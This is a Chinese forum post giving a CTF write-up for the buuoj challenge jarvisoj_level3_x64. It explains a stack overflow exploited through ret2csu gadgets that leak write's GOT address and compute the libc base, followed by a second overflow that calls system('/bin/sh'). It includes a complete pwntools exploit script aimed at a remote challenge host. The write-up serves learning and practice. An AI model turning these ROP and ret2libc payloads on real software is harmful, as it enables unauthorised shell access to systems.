本帖最后由 bnuzgn 于 2023-7-30 23:13 编辑
题目来源:buuoj
参考链接:
- (主):https://niceseven.github.io/post/2020/04/14/buuctf-pwn-jarvisoj_level3_x64/
- https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/medium-rop/
题目信息
64位,环境位ubuntu16,开了NX
vuln函数,可以使用栈溢出
题目中没有system和execve,也没有给出puts函数,所以需要使用write函数输出write_got,ret2libc
write函数需要三个参数,分别传入rdi,rsi,rdx中,gadget中没有rdx_ret因此无法使用。
解题思路
- 利用ret2csu构造rdi、rsi、rdx的值
- 计算libc基地址
- 栈溢出getshell
前面说过64位的系统函数传参前3个参数要用到rdi、rsi、rdx,但是通过ROPgadget查找缺少了rdx。
ret2csu主要是用到如下的两个gadget,通过pop和mov控制rdi、rsi、rdx寄存器,注意0x4006a1-0x4006a4这里有个比较rbx和rbp是否相同然后执行jne跳转的指令段,所以在执行gadget1要构造rbx=0,rbp=1,才不会进入哪个循环的跳转,通过gadget1中的pop r12和0x400699的call r12+rbx*8来控制我们想执行的函数,本题要执行 write来leak所以我们传入r12的值为write_got,这里传入plt好像执行不了具体原因还不清楚,为了满足call r12所以需要rbx=0,这样r12+rbx*8=r12=write_got => call write_got,参数1传入r15,参数2传入r14,参数3传入r13,这样在执行gadget2之后就会使参数1到3分别mov到rdi、rsi、rdx,也就是64位程序的前3个参数传参顺序。
在构造leak的payload时候需要0x38的数据填充,是因为我们先执行的gadget1,再执行gadget2,但是从gadget1跳转到gadget2后又会执行一遍gadget1,此时gadget1中的这些寄存器是不需要的,所以从0x4006a6到0x4006b2之间栈顶移动的7个机器字长,即6*0x8=0x38,,所以需要填充0x38覆盖这里的栈空间,然后覆盖到0x4006b4的ret来使函数返回到vulnerable_function(),从而再执行一遍read来进行栈溢出getshell。
IDA中也可以看栈指针来计算空间大小0x38-0x0=0x38
WP
[Python] 纯文本查看 复制代码 # -*- coding: utf-8 -*-
from pwn import*
context.log_level='debug'
context.arch='amd64'
context.os = "linux"
pc = "./level3_x64"
if __name__ == '__main__':
local = sys.argv[1]
if local == '1':
r= process(pc)
elf = ELF(pc)
libc = elf.libc
else:
r=remote("node4.buuoj.cn",27598)
elf = ELF(pc)
libc = elf.libc
sa = lambda s,n : r.sendafter(s,n)
sla = lambda s,n : r.sendlineafter(s,n)
sl = lambda s : r.sendline(s)
sd = lambda s : r.send(s)
rc = lambda n : r.recv(n)
ru = lambda s : r.recvuntil(s)
ti = lambda: r.interactive()
lg = lambda s: log.info('\033[1;31;40m %s --> 0x%x \033[0m' % (s, eval(s)))
def db():
gdb.attach(r)
pause()
def dbs(src):
gdb.attach(r, src)
csu_end_ret = 0x00000000004006AA
csu_front_call = 0x0000000000400690
write_got_addr = elf.got['write']
write_plt_addr = elf.plt['write']
main_addr = elf.symbols['vulnerable_function']
rdi_ret_addr = 0x00000000004006b3
csu_payload = p64(0) + p64(1) + p64(write_got_addr) + p64(8) + p64(write_got_addr) + p64(1)
payload = b'a'* (0x80+8) + p64(csu_end_ret) + csu_payload + p64(csu_front_call) + b'a'*0x38 + p64(main_addr)
sla('Input:\n',payload)
write_addr = u64(r.recv(6).ljust(8,b'\x00'))
lg('write_addr')
libc_base = write_addr - libc.sym['write']
binsh_addr = libc_base + next(libc.search(b"/bin/sh"))
system_addr = libc_base + libc.sym["system"]
payload = b'a'* (0x80+8) + p64(rdi_ret_addr) + p64(binsh_addr) + p64(system_addr)
sla('Input:\n',payload)
ti() |